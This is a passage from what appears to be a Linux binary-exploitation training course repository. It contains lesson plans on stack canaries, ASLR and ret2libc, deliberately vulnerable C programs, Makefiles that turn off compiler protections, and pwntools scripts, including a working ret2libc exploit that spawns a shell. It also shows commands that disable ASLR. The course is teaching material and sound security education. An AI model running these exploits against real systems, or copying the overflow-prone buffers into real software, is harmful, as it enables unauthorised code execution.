98 | If we terminate the program and run it again, the stack might look like this 99 | before the read: 100 | 101 | ![Fig 3.2. Initial run 2][aslr2] 102 | 103 | Notice how the stack addresses do not stay constant and now have their base 104 | values randomised. Now, the attacker attempts to re-use their payload from the 105 | classic technique. 106 | 107 | ![Fig 3.3. Classic payload in ASLR][aslr3] 108 | 109 | Notice that the saved return pointer is overwritten with a pointer into the 110 | stack at an unknown location where the data is unknown and non-user controlled. 111 | When the function returns, the program will begin executing unknown instructions 112 | at that address (0xbfff0000) and will most likely crash. 113 | 114 | ![Fig 3.4. Executing in an unknown location][aslr4] 115 | 116 | Thus, it is impossible for an attacker to be able to reliably trigger the 117 | exploit using the standard payload. 118 | 119 | ### Stack Canaries 120 | 121 | This protection places a randomised guard value after a stack frame's local 122 | variables and before the saved return address. When a function returns, this 123 | guard value is checked and if it differs from the value provided by a secure 124 | source, then the program is terminated. 125 | 126 | In the following stack diagram, an additional stack canary is added right after 127 | the buffer. The valid value of this stack canary is 0x01efcdab. 128 | 129 | ![Fig 4.1. Stack canary after buffer][canary1] 130 | 131 | Now, the attacker attempts their exploit with the standard payload again. The 132 | stack diagram looks like this after the read: 133 | 134 | ![Fig 4.2. Stack canary corrupted][canary2] 135 | 136 | Notice that the stack canary has been overwritten and corrupted by the padding 137 | of 'A's (0x41). The value of the canary is now 0x41414141. Before the function 138 | returns, the canary is xored against the value of the 'master' canary. If the 139 | result is 0, implying equality, then the function is allowed to return. 140 | Otherwise, the program terminates itself. In this case, the program fails the 141 | check, prints a warning message, and exits. 142 | 143 | ![Fig 4.3. Stack canary check fails][canary3] 144 | 145 | Thus, the attacker is not even able to redirect control flow and the exploit 146 | fails. 147 | 148 | [classic1]: ./diagrams/classic1.png 149 | [classic2]: ./diagrams/classic2.png 150 | [classic3]: ./diagrams/classic3.png 151 | [classic4]: ./diagrams/classic4.png 152 | [classic5]: ./diagrams/classic5.png 153 | [classic6]: ./diagrams/classic6.png 154 | [nx1]: ./diagrams/nx1.png 155 | [nx2]: ./diagrams/nx2.png 156 | [nx3]: ./diagrams/nx3.png 157 | [aslr1]: ./diagrams/aslr1.png 158 | [aslr2]: ./diagrams/aslr2.png 159 | [aslr3]: ./diagrams/aslr3.png 160 | [aslr4]: ./diagrams/aslr4.png 161 | [canary1]: ./diagrams/canary1.png 162 | [canary2]: ./diagrams/canary2.png 163 | [canary3]: ./diagrams/canary3.png 164 | -------------------------------------------------------------------------------- /lessons/6_bypass_nx_rop/Makefile: -------------------------------------------------------------------------------- 1 | all: 1_staticnx 2 | 3 | 1_staticnx: 4 | gcc -m32 -fno-stack-protector -static -znoexecstack -o ./build/1_staticnx ./src/1_staticnx.c 5 | -------------------------------------------------------------------------------- /lessons/6_bypass_nx_rop/build/1_staticnx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/6_bypass_nx_rop/build/1_staticnx -------------------------------------------------------------------------------- /lessons/6_bypass_nx_rop/scripts/1_skeleton.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | def main(): 6 | # Start the process 7 | p = process("../build/1_staticnx") 8 | 9 | # Craft the payload 10 | payload = "A"*148 + p32(0xdeadc0de) 11 | payload = payload.ljust(1000, "\x00") 12 | 13 | # Print the process id 14 | raw_input(str(p.proc.pid)) 15 | 16 | # Send the payload 17 | p.send(payload) 18 | 19 | # Transfer interaction to the user 20 | p.interactive() 21 | 22 | if __name__ == '__main__': 23 | main() 24 | -------------------------------------------------------------------------------- /lessons/6_bypass_nx_rop/scripts/2_ropexploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | from struct import pack 6 | 7 | # Padding goes here 8 | rop = '' 9 | 10 | rop += pack(' 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | void vuln() { 8 | char buffer[128]; 9 | char * second_buffer; 10 | uint32_t length = 0; 11 | puts("Reading from STDIN"); 12 | read(0, buffer, 1024); 13 | 14 | if (strcmp(buffer, "Cool Input") == 0) { 15 | puts("What a cool string."); 16 | } 17 | length = strlen(buffer); 18 | if (length == 42) { 19 | puts("LUE"); 20 | } 21 | second_buffer = malloc(length); 22 | strncpy(second_buffer, buffer, length); 23 | } 24 | 25 | int main() { 26 | setvbuf(stdin, NULL, _IONBF, 0); 27 | setvbuf(stdout, NULL, _IONBF, 0); 28 | 29 | puts("This is a big vulnerable example!"); 30 | printf("I can print many things: %x, %s, %d\n", 0xdeadbeef, "Test String", 31 | 42); 32 | write(1, "Writing to STDOUT\n", 18); 33 | vuln(); 34 | } 35 | -------------------------------------------------------------------------------- /lessons/7_bypass_nx_ret2libc/Makefile: -------------------------------------------------------------------------------- 1 | all: 1_reveal_addresses 2_vulnerable 2 | 3 | 1_reveal_addresses: 4 | gcc -m32 -o ./build/1_reveal_addresses ./src/1_reveal_addresses.c -ldl 5 | gcc -o ./build/2_reveal_addresses64 ./src/1_reveal_addresses.c -ldl 6 | 7 | 2_vulnerable: 8 | gcc -m32 -fno-stack-protector -znoexecstack -o ./build/3_vulnerable ./src/2_vulnerable.c 9 | 10 | -------------------------------------------------------------------------------- /lessons/7_bypass_nx_ret2libc/build/1_reveal_addresses: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/7_bypass_nx_ret2libc/build/1_reveal_addresses -------------------------------------------------------------------------------- /lessons/7_bypass_nx_ret2libc/build/2_reveal_addresses64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/7_bypass_nx_ret2libc/build/2_reveal_addresses64 -------------------------------------------------------------------------------- /lessons/7_bypass_nx_ret2libc/build/3_vulnerable: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/7_bypass_nx_ret2libc/build/3_vulnerable -------------------------------------------------------------------------------- /lessons/7_bypass_nx_ret2libc/lessonplan.md: -------------------------------------------------------------------------------- 1 | # Bypassing NX with Ret2Libc 2 | 3 | We were able to pick from a wealth of ROP gadgets to construct the ROP chain in 4 | the previous section because the binary was huge. Now, what happens if the 5 | binary we have to attack is not large enough to provide us the gadgets we need? 6 | 7 | One possible solution, since ASLR is disabled, would be to search for our 8 | gadgets in the shared libraries loaded by the program such as libc. 9 | However, if we had these addresses into libc, we could simplify our exploit to 10 | reuse useful functions. One such useful function could be the amazing `system()` 11 | function. 12 | 13 | ## Investigating Shared Libraries 14 | 15 | To investigate this, we can create a diagnostic binary to introspectively look 16 | at the virtual memory map and to print us the resolved `system()` address. The 17 | [source][1] is as follows: 18 | 19 | ```c 20 | #define _GNU_SOURCE 21 | #include 22 | #include 23 | #include 24 | #include 25 | 26 | 27 | int main() { 28 | puts("This program helps visualise where libc is loaded.\n"); 29 | int pid = getpid(); 30 | char command[500]; 31 | puts("Memory Layout: "); 32 | sprintf(command, "cat /proc/%d/maps", pid); 33 | system(command); 34 | puts("\nFunction Addresses: "); 35 | printf("System@libc 0x%lx\n", dlsym(RTLD_NEXT, "system")); 36 | printf("PID: %d\n", pid); 37 | puts("Press enter to continue."); 38 | read(0, command, 1); 39 | } 40 | ``` 41 | 42 | I have compiled two versions of the binary, a [32 bit version][2] and a [64 bit 43 | version][3]. 44 | 45 | Running the 32 bit one: 46 | 47 | ```shell 48 | amon@bethany:~/sproink/linux-exploitation-course/lessons/7_bypass_nx_ret2libc/build$ ./1_reveal_addresses 49 | This program helps visualise where libc is loaded. 50 | 51 | Memory Layout: 52 | 08048000-08049000 r-xp 00000000 00:27 329 /vagrant/lessons/7_bypass_nx_ret2libc/build/1_reveal_addresses 53 | 08049000-0804a000 r--p 00000000 00:27 329 /vagrant/lessons/7_bypass_nx_ret2libc/build/1_reveal_addresses 54 | 0804a000-0804b000 rw-p 00001000 00:27 329 /vagrant/lessons/7_bypass_nx_ret2libc/build/1_reveal_addresses 55 | 0804b000-0806c000 rw-p 00000000 00:00 0 [heap] 56 | f7e0f000-f7e10000 rw-p 00000000 00:00 0 57 | f7e10000-f7fbf000 r-xp 00000000 08:01 256310 /lib/i386-linux-gnu/libc-2.23.so 58 | f7fbf000-f7fc0000 ---p 001af000 08:01 256310 /lib/i386-linux-gnu/libc-2.23.so 59 | f7fc0000-f7fc2000 r--p 001af000 08:01 256310 /lib/i386-linux-gnu/libc-2.23.so 60 | f7fc2000-f7fc3000 rw-p 001b1000 08:01 256310 /lib/i386-linux-gnu/libc-2.23.so 61 | f7fc3000-f7fc6000 rw-p 00000000 00:00 0 62 | f7fc6000-f7fc9000 r-xp 00000000 08:01 256309 /lib/i386-linux-gnu/libdl-2.23.so 63 | f7fc9000-f7fca000 r--p 00002000 08:01 256309 /lib/i386-linux-gnu/libdl-2.23.so 64 | f7fca000-f7fcb000 rw-p 00003000 08:01 256309 /lib/i386-linux-gnu/libdl-2.23.so 65 | f7fd4000-f7fd6000 rw-p 00000000 00:00 0 66 | f7fd6000-f7fd8000 r--p 00000000 00:00 0 [vvar] 67 | f7fd8000-f7fd9000 r-xp 00000000 00:00 0 [vdso] 68 | f7fd9000-f7ffb000 r-xp 00000000 08:01 256300 /lib/i386-linux-gnu/ld-2.23.so 69 | f7ffb000-f7ffc000 rw-p 00000000 00:00 0 70 | f7ffc000-f7ffd000 r--p 00022000 08:01 256300 /lib/i386-linux-gnu/ld-2.23.so 71 | f7ffd000-f7ffe000 rw-p 00023000 08:01 256300 /lib/i386-linux-gnu/ld-2.23.so 72 | fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack] 73 | 74 | Function Addresses: 75 | System@libc 0xf7e4ada0 76 | PID: 20738 77 | Press enter to continue. 78 | ``` 79 | 80 | Note the base address of libc-2-2.23.so (0xf7e10000) and the resolved address of 81 | system (0xf7e4ada0). Let's subtract the address of the base address from the 82 | address of system to get the system offset. 83 | 84 | ```shell 85 | In [15]: 0xf7e4ada0-0xf7e10000 86 | Out[15]: 241056 87 | In [16]: hex(0xf7e4ada0-0xf7e10000) 88 | Out[16]: '0x3ada0' 89 | ``` 90 | 91 | Take note of that offset, 0x3ada0. Next, we can disassemble the libc shared 92 | object and look for the start of the system function. 93 | 94 | 95 | ```shell 96 | ubuntu@ubuntu-xenial:/vagrant/lessons/7_bypass_nx_ret2libc/build$ objdump -d /lib/i386-linux-gnu/libc-2.23.so | grep system 97 | 0003ada0 <__libc_system@@GLIBC_PRIVATE>: 98 | 3adb4: 74 0a je 3adc0 <__libc_system@@GLIBC_PRIVATE+0x20> 99 | 00112d60 : 100 | ``` 101 | 102 | That's a bingo. Notice how the offset we calculated previously is the same as 103 | the address of `__libc_system@@GLIBC_PRIVATE`. 104 | 105 | We can repeat this with the 64 bit one: 106 | 107 | ```shell 108 | This program helps visualise where libc is loaded. 109 | 110 | Memory Layout: 111 | 00400000-00401000 r-xp 00000000 08:06 17434884 /home/amon/sproink/linux-exploitation-course/lessons/7_bypass_nx_ret2libc/build/2_reveal_addresses64 112 | 00600000-00601000 r--p 00000000 08:06 17434884 /home/amon/sproink/linux-exploitation-course/lessons/7_bypass_nx_ret2libc/build/2_reveal_addresses64 113 | 00601000-00602000 rw-p 00001000 08:06 17434884 /home/amon/sproink/linux-exploitation-course/lessons/7_bypass_nx_ret2libc/build/2_reveal_addresses64 114 | 01609000-0162a000 rw-p 00000000 00:00 0 [heap] 115 | 7f649ccfe000-7f649cebd000 r-xp 00000000 08:06 262743 /lib/x86_64-linux-gnu/libc-2.23.so 116 | 7f649cebd000-7f649d0bd000 ---p 001bf000 08:06 262743 /lib/x86_64-linux-gnu/libc-2.23.so 117 | 7f649d0bd000-7f649d0c1000 r--p 001bf000 08:06 262743 /lib/x86_64-linux-gnu/libc-2.23.so 118 | 7f649d0c1000-7f649d0c3000 rw-p 001c3000 08:06 262743 /lib/x86_64-linux-gnu/libc-2.23.so 119 | 7f649d0c3000-7f649d0c7000 rw-p 00000000 00:00 0 120 | 7f649d0c7000-7f649d0ca000 r-xp 00000000 08:06 262742 /lib/x86_64-linux-gnu/libdl-2.23.so 121 | 7f649d0ca000-7f649d2c9000 ---p 00003000 08:06 262742 /lib/x86_64-linux-gnu/libdl-2.23.so 122 | 7f649d2c9000-7f649d2ca000 r--p 00002000 08:06 262742 /lib/x86_64-linux-gnu/libdl-2.23.so 123 | 7f649d2ca000-7f649d2cb000 rw-p 00003000 08:06 262742 /lib/x86_64-linux-gnu/libdl-2.23.so 124 | 7f649d2cb000-7f649d2f1000 r-xp 00000000 08:06 262410 /lib/x86_64-linux-gnu/ld-2.23.so 125 | 7f649d4cd000-7f649d4d0000 rw-p 00000000 00:00 0 126 | 7f649d4ee000-7f649d4f0000 rw-p 00000000 00:00 0 127 | 7f649d4f0000-7f649d4f1000 r--p 00025000 08:06 262410 /lib/x86_64-linux-gnu/ld-2.23.so 128 | 7f649d4f1000-7f649d4f2000 rw-p 00026000 08:06 262410 /lib/x86_64-linux-gnu/ld-2.23.so 129 | 7f649d4f2000-7f649d4f3000 rw-p 00000000 00:00 0 130 | 7ffd9f7b7000-7ffd9f7d8000 rw-p 00000000 00:00 0 [stack] 131 | 7ffd9f7e0000-7ffd9f7e2000 r--p 00000000 00:00 0 [vvar] 132 | 7ffd9f7e2000-7ffd9f7e4000 r-xp 00000000 00:00 0 [vdso] 133 | ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] 134 | 135 | Function Addresses: 136 | System@libc 0x7f649cd43390 137 | PID: 16781 138 | Press enter to continue. 139 | ``` 140 | 141 | Calculating the difference. 142 | 143 | ```shell 144 | In [17]: 0x7f649cd43390-0x7f649ccfe000 145 | Out[17]: 283536 146 | In [18]: hex(0x7f649cd43390-0x7f649ccfe000) 147 | Out[18]: '0x45390' 148 | ``` 149 | 150 | Finding the address of system in the 64 bit libc binary. 151 | 152 | ```shell 153 | ubuntu@ubuntu-xenial:/vagrant/lessons/7_bypass_nx_ret2libc/build$ objdump -d /lib/x86_64-linux-gnu/libc-2.23.so | grep system 154 | 0000000000045390 <__libc_system@@GLIBC_PRIVATE>: 155 | 45393: 74 0b je 453a0 <__libc_system@@GLIBC_PRIVATE+0x10> 156 | 0000000000137c20 : 157 | ``` 158 | 159 | And we have another match. 160 | 161 | ## Calculating Addresses 162 | 163 | This is useful information as now we have a way to calculate the addresses of 164 | useful functions given the base address of libc. Since shared objects are mapped 165 | at the same location without randomisation due to ASLR being disabled, we can 166 | very easily find the addresses of useful things such as the `system()` function 167 | and the `/bin/sh` string by examining the libc shared object on its own. 168 | 169 | To make life easier, the ['libc-database' toolset by Niklas Baumstark][4], 170 | provides helper scripts to build a libc database, identify versions of libc from 171 | information leaks, and dump useful offsets. In the vagrant provisioning script, 172 | I have already added the pertinent libc versions used in the exercises. 173 | 174 | ```shell 175 | ubuntu@ubuntu-xenial:~/libc-database$ ./identify /lib/i386-linux-gnu/libc-2.23.so 176 | id local-03ffe08ba6d5e7f5b1d647f6a14e6837938e3bed 177 | ubuntu@ubuntu-xenial:~/libc-database$ ./dump local-03ffe08ba6d5e7f5b1d647f6a14e6837938e3bed 178 | offset___libc_start_main_ret = 0x18637 179 | offset_system = 0x0003ada0 180 | offset_dup2 = 0x000d6190 181 | offset_read = 0x000d5980 182 | offset_write = 0x000d59f0 183 | offset_str_bin_sh = 0x15b82b 184 | ubuntu@ubuntu-xenial:~/libc-database$ 185 | ``` 186 | 187 | ## Exploiting a Minimalist Vulnerable Binary 188 | 189 | Let's do the opposite of what we did the last section. Instead of attacking a 190 | bloated binary, we are going to attack a really lean and mean one. Something 191 | [like this][5]: 192 | 193 | ```c 194 | #include 195 | #include 196 | 197 | void vuln() { 198 | char buffer[64]; 199 | read(0, buffer, 96); 200 | } 201 | 202 | int main() { 203 | vuln(); 204 | } 205 | ``` 206 | 207 | Running the [binary][6]: 208 | 209 | ```shell 210 | ubuntu@ubuntu-xenial:/vagrant/lessons/7_bypass_nx_ret2libc/build$ ./3_vulnerable 211 | TEST 212 | ubuntu@ubuntu-xenial:/vagrant/lessons/7_bypass_nx_ret2libc/build$ 213 | ``` 214 | 215 | It really does not do much. Here is the [skeleton exploit code][7] to achieve 216 | EIP control. 217 | 218 | ```python 219 | #!/usr/bin/python 220 | 221 | from pwn import * 222 | 223 | def main(): 224 | # Start the process 225 | p = process("../build/3_vulnerable") 226 | 227 | # Print the pid 228 | raw_input(str(p.proc.pid)) 229 | 230 | # Craft the payload 231 | payload = "A"*76 + p32(0xdeadc0de) 232 | payload = payload.ljust(96, "\x00") 233 | 234 | # Send the payload 235 | p.send(payload) 236 | 237 | # Pass interaction to the user 238 | p.interactive() 239 | 240 | if __name__ == "__main__": 241 | main() 242 | ``` 243 | 244 | ## Exercise 7.1: Writing the Final Exploit 245 | 246 | At this point, it is simply a matter of finding at which address is libc mapped 247 | onto and then calculating the addresses of useful functions from the offsets we 248 | dumped. 249 | 250 | Try to obtain a shell by making the necessary additions to the skeleton code. 251 | Please attempt to do this on your own before looking at the [solution][8]. 252 | 253 | 254 | [1]: ./src/1_reveal_addresses.c 255 | [2]: ./build/1_reveal_addresses 256 | [3]: ./build/2_reveal_addresses64 257 | [4]: https://github.com/niklasb/libc-database 258 | [5]: ./src/2_vulnerable.c 259 | [6]: ./build/3_vulnerable 260 | [7]: ./scripts/1_skeleton.py 261 | [8]: ./scripts/2_final.py 262 | -------------------------------------------------------------------------------- /lessons/7_bypass_nx_ret2libc/scripts/1_skeleton.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | def main(): 6 | # Start the process 7 | p = process("../build/3_vulnerable") 8 | 9 | # Print the pid 10 | raw_input(str(p.proc.pid)) 11 | 12 | # Craft the payload 13 | payload = "A"*76 + p32(0xdeadc0de) 14 | payload = payload.ljust(96, "\x00") 15 | 16 | # Send the payload 17 | p.send(payload) 18 | 19 | # Pass interaction to the user 20 | p.interactive() 21 | 22 | if __name__ == "__main__": 23 | main() 24 | -------------------------------------------------------------------------------- /lessons/7_bypass_nx_ret2libc/scripts/2_final.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | libc_base = 0xf7e15000 6 | system_offset = 0x0003ada0 7 | binsh_offset = 0x15b82b 8 | 9 | system_address = libc_base + system_offset 10 | binsh_offset = libc_base + binsh_offset 11 | 12 | def main(): 13 | # Start the process 14 | p = process("../build/3_vulnerable") 15 | 16 | # Craft the payload 17 | payload = "A"*76 18 | payload += p32(system_address) 19 | payload += p32(0xdeadbeef) 20 | payload += p32(binsh_offset) 21 | payload = payload.ljust(96, "\x00") 22 | 23 | # Send the payload 24 | p.send(payload) 25 | 26 | # Pass interaction to the user 27 | p.interactive() 28 | 29 | if __name__ == "__main__": 30 | main() 31 | -------------------------------------------------------------------------------- /lessons/7_bypass_nx_ret2libc/src/1_reveal_addresses.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | 8 | int main() { 9 | puts("This program helps visualise where libc is loaded.\n"); 10 | int pid = getpid(); 11 | char command[500]; 12 | puts("Memory Layout: "); 13 | sprintf(command, "cat /proc/%d/maps", pid); 14 | system(command); 15 | puts("\nFunction Addresses: "); 16 | printf("System@libc 0x%lx\n", dlsym(RTLD_NEXT, "system")); 17 | printf("PID: %d\n", pid); 18 | puts("Press enter to continue."); 19 | read(0, command, 1); 20 | } 21 | -------------------------------------------------------------------------------- /lessons/7_bypass_nx_ret2libc/src/2_vulnerable.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void vuln() { 5 | char buffer[64]; 6 | read(0, buffer, 96); 7 | } 8 | 9 | int main() { 10 | vuln(); 11 | } 12 | -------------------------------------------------------------------------------- /lessons/8_aslr/Makefile: -------------------------------------------------------------------------------- 1 | all: 1_reveal_addresses 2 | 3 | 1_reveal_addresses: 4 | gcc -m32 -o ./build/1_reveal_addresses ./src/1_reveal_addresses.c -ldl 5 | gcc -o ./build/2_reveal_addresses64 ./src/1_reveal_addresses.c -ldl 6 | gcc -m32 -o ./build/3_reveal_addresses_pie ./src/1_reveal_addresses.c -ldl -pie 7 | gcc -o ./build/4_reveal_addresses64_pie ./src/1_reveal_addresses.c -ldl -pie -fPIC 8 | -------------------------------------------------------------------------------- /lessons/8_aslr/build/1_reveal_addresses: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/8_aslr/build/1_reveal_addresses -------------------------------------------------------------------------------- /lessons/8_aslr/build/2_reveal_addresses64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/8_aslr/build/2_reveal_addresses64 -------------------------------------------------------------------------------- /lessons/8_aslr/build/3_reveal_addresses_pie: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/8_aslr/build/3_reveal_addresses_pie -------------------------------------------------------------------------------- /lessons/8_aslr/build/4_reveal_addresses64_pie: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/8_aslr/build/4_reveal_addresses64_pie -------------------------------------------------------------------------------- /lessons/8_aslr/lessonplan.md: -------------------------------------------------------------------------------- 1 | # ASLR in Depth 2 | 3 | Actually, the title is a lie. We're not really going to discuss ASLR in that 4 | depth yet. We don't really need to. However, what we are going to do is explore 5 | the effects of ASLR on a diagnostic binary we used in the previous section. 6 | 7 | ```c 8 | #define _GNU_SOURCE 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | 15 | int main() { 16 | puts("This program helps visualise where libc is loaded.\n"); 17 | int pid = getpid(); 18 | char command[500]; 19 | puts("Memory Layout: "); 20 | sprintf(command, "cat /proc/%d/maps", pid); 21 | system(command); 22 | puts("\nFunction Addresses: "); 23 | printf("System@libc 0x%lx\n", dlsym(RTLD_NEXT, "system")); 24 | printf("PID: %d\n", pid); 25 | } 26 | ``` 27 | 28 | ## ASLR Turned Off 29 | 30 | First, make sure ASLR is turned off. 31 | 32 | ```shell 33 | ubuntu@ubuntu-xenial:/vagrant/lessons/8_aslr/build$ echo 0 | sudo tee 34 | /proc/sys/kernel/randomize_va_space 35 | 0 36 | ``` 37 | 38 | Now, play with the binaries in `/vagrant/lessons/8_aslr/build/`. You should 39 | notice that the addresses the objects are mapped at are more or less constant. 40 | 41 | ```shell 42 | ubuntu@ubuntu-xenial:/vagrant/lessons/8_aslr/build$ ./1_reveal_addresses 43 | This program helps visualise where libc is loaded. 44 | 45 | Memory Layout: 46 | 08048000-08049000 r-xp 00000000 00:28 161 47 | /vagrant/lessons/8_aslr/build/1_reveal_addresses 48 | 08049000-0804a000 r--p 00000000 00:28 161 49 | /vagrant/lessons/8_aslr/build/1_reveal_addresses 50 | 0804a000-0804b000 rw-p 00001000 00:28 161 51 | /vagrant/lessons/8_aslr/build/1_reveal_addresses 52 | 0804b000-0806c000 rw-p 00000000 00:00 0 [heap] 53 | f7e0f000-f7e10000 rw-p 00000000 00:00 0 54 | f7e10000-f7fbf000 r-xp 00000000 08:01 256310 55 | /lib/i386-linux-gnu/libc-2.23.so 56 | f7fbf000-f7fc0000 ---p 001af000 08:01 256310 57 | /lib/i386-linux-gnu/libc-2.23.so 58 | f7fc0000-f7fc2000 r--p 001af000 08:01 256310 59 | /lib/i386-linux-gnu/libc-2.23.so 60 | f7fc2000-f7fc3000 rw-p 001b1000 08:01 256310 61 | /lib/i386-linux-gnu/libc-2.23.so 62 | f7fc3000-f7fc6000 rw-p 00000000 00:00 0 63 | f7fc6000-f7fc9000 r-xp 00000000 08:01 256309 64 | /lib/i386-linux-gnu/libdl-2.23.so 65 | f7fc9000-f7fca000 r--p 00002000 08:01 256309 66 | /lib/i386-linux-gnu/libdl-2.23.so 67 | f7fca000-f7fcb000 rw-p 00003000 08:01 256309 68 | /lib/i386-linux-gnu/libdl-2.23.so 69 | f7fd4000-f7fd6000 rw-p 00000000 00:00 0 70 | f7fd6000-f7fd8000 r--p 00000000 00:00 0 [vvar] 71 | f7fd8000-f7fd9000 r-xp 00000000 00:00 0 [vdso] 72 | f7fd9000-f7ffb000 r-xp 00000000 08:01 256300 73 | /lib/i386-linux-gnu/ld-2.23.so 74 | f7ffb000-f7ffc000 rw-p 00000000 00:00 0 75 | f7ffc000-f7ffd000 r--p 00022000 08:01 256300 76 | /lib/i386-linux-gnu/ld-2.23.so 77 | f7ffd000-f7ffe000 rw-p 00023000 08:01 256300 78 | /lib/i386-linux-gnu/ld-2.23.so 79 | fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack] 80 | 81 | Function Addresses: 82 | System@libc 0xf7e4ada0 83 | PID: 4452 84 | ``` 85 | 86 | ```shell 87 | ubuntu@ubuntu-xenial:/vagrant/lessons/8_aslr/build$ ./4_reveal_addresses64_pie 88 | This program helps visualise where libc is loaded. 89 | 90 | Memory Layout: 91 | 555555554000-555555555000 r-xp 00000000 00:28 158 92 | /vagrant/lessons/8_aslr/build/4_reveal_addresses64_pie 93 | 555555754000-555555755000 r--p 00000000 00:28 158 94 | /vagrant/lessons/8_aslr/build/4_reveal_addresses64_pie 95 | 555555755000-555555756000 rw-p 00001000 00:28 158 96 | /vagrant/lessons/8_aslr/build/4_reveal_addresses64_pie 97 | 555555756000-555555777000 rw-p 00000000 00:00 0 [heap] 98 | 7ffff780a000-7ffff79c9000 r-xp 00000000 08:01 2068 99 | /lib/x86_64-linux-gnu/libc-2.23.so 100 | 7ffff79c9000-7ffff7bc9000 ---p 001bf000 08:01 2068 101 | /lib/x86_64-linux-gnu/libc-2.23.so 102 | 7ffff7bc9000-7ffff7bcd000 r--p 001bf000 08:01 2068 103 | /lib/x86_64-linux-gnu/libc-2.23.so 104 | 7ffff7bcd000-7ffff7bcf000 rw-p 001c3000 08:01 2068 105 | /lib/x86_64-linux-gnu/libc-2.23.so 106 | 7ffff7bcf000-7ffff7bd3000 rw-p 00000000 00:00 0 107 | 7ffff7bd3000-7ffff7bd6000 r-xp 00000000 08:01 2067 108 | /lib/x86_64-linux-gnu/libdl-2.23.so 109 | 7ffff7bd6000-7ffff7dd5000 ---p 00003000 08:01 2067 110 | /lib/x86_64-linux-gnu/libdl-2.23.so 111 | 7ffff7dd5000-7ffff7dd6000 r--p 00002000 08:01 2067 112 | /lib/x86_64-linux-gnu/libdl-2.23.so 113 | 7ffff7dd6000-7ffff7dd7000 rw-p 00003000 08:01 2067 114 | /lib/x86_64-linux-gnu/libdl-2.23.so 115 | 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 2051 116 | /lib/x86_64-linux-gnu/ld-2.23.so 117 | 7ffff7fea000-7ffff7fed000 rw-p 00000000 00:00 0 118 | 7ffff7ff6000-7ffff7ff8000 rw-p 00000000 00:00 0 119 | 7ffff7ff8000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 120 | 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 121 | 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 2051 122 | /lib/x86_64-linux-gnu/ld-2.23.so 123 | 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 2051 124 | /lib/x86_64-linux-gnu/ld-2.23.so 125 | 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 126 | 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] 127 | ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 128 | [vsyscall] 129 | 130 | Function Addresses: 131 | System@libc 0x7ffff784f390 132 | PID: 4446 133 | ``` 134 | 135 | ## ASLR Turned On 136 | 137 | Now, turn on the ASLR. 138 | 139 | ```shell 140 | ubuntu@ubuntu-xenial:/vagrant/lessons/8_aslr/build$ echo 2 | sudo tee 141 | /proc/sys/kernel/randomize_va_space 142 | 2 143 | ``` 144 | 145 | Before repeating the previous steps on the binaries again, take a look at the 146 | output from `checksec`. 147 | 148 | ```shell 149 | ubuntu@ubuntu-xenial:/vagrant/lessons/8_aslr/build$ checksec * 150 | [*] '/vagrant/lessons/8_aslr/build/1_reveal_addresses' 151 | Arch: i386-32-little 152 | RELRO: Partial RELRO 153 | Stack: Canary found 154 | NX: NX enabled 155 | PIE: No PIE 156 | [*] '/vagrant/lessons/8_aslr/build/2_reveal_addresses64' 157 | Arch: amd64-64-little 158 | RELRO: Partial RELRO 159 | Stack: Canary found 160 | NX: NX enabled 161 | PIE: No PIE 162 | [*] '/vagrant/lessons/8_aslr/build/3_reveal_addresses_pie' 163 | Arch: i386-32-little 164 | RELRO: Partial RELRO 165 | Stack: Canary found 166 | NX: NX enabled 167 | PIE: PIE enabled 168 | [*] '/vagrant/lessons/8_aslr/build/4_reveal_addresses64_pie' 169 | Arch: amd64-64-little 170 | RELRO: Partial RELRO 171 | Stack: Canary found 172 | NX: NX enabled 173 | PIE: PIE enabled 174 | ``` 175 | 176 | Notice that the last two have PIE enabled. PIE stands for Position Independent 177 | Executable. Do you notice any interesting about the results when running these 178 | binaries with ASLR turned on? 179 | -------------------------------------------------------------------------------- /lessons/8_aslr/src/1_reveal_addresses.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | 8 | int main() { 9 | puts("This program helps visualise where libc is loaded.\n"); 10 | int pid = getpid(); 11 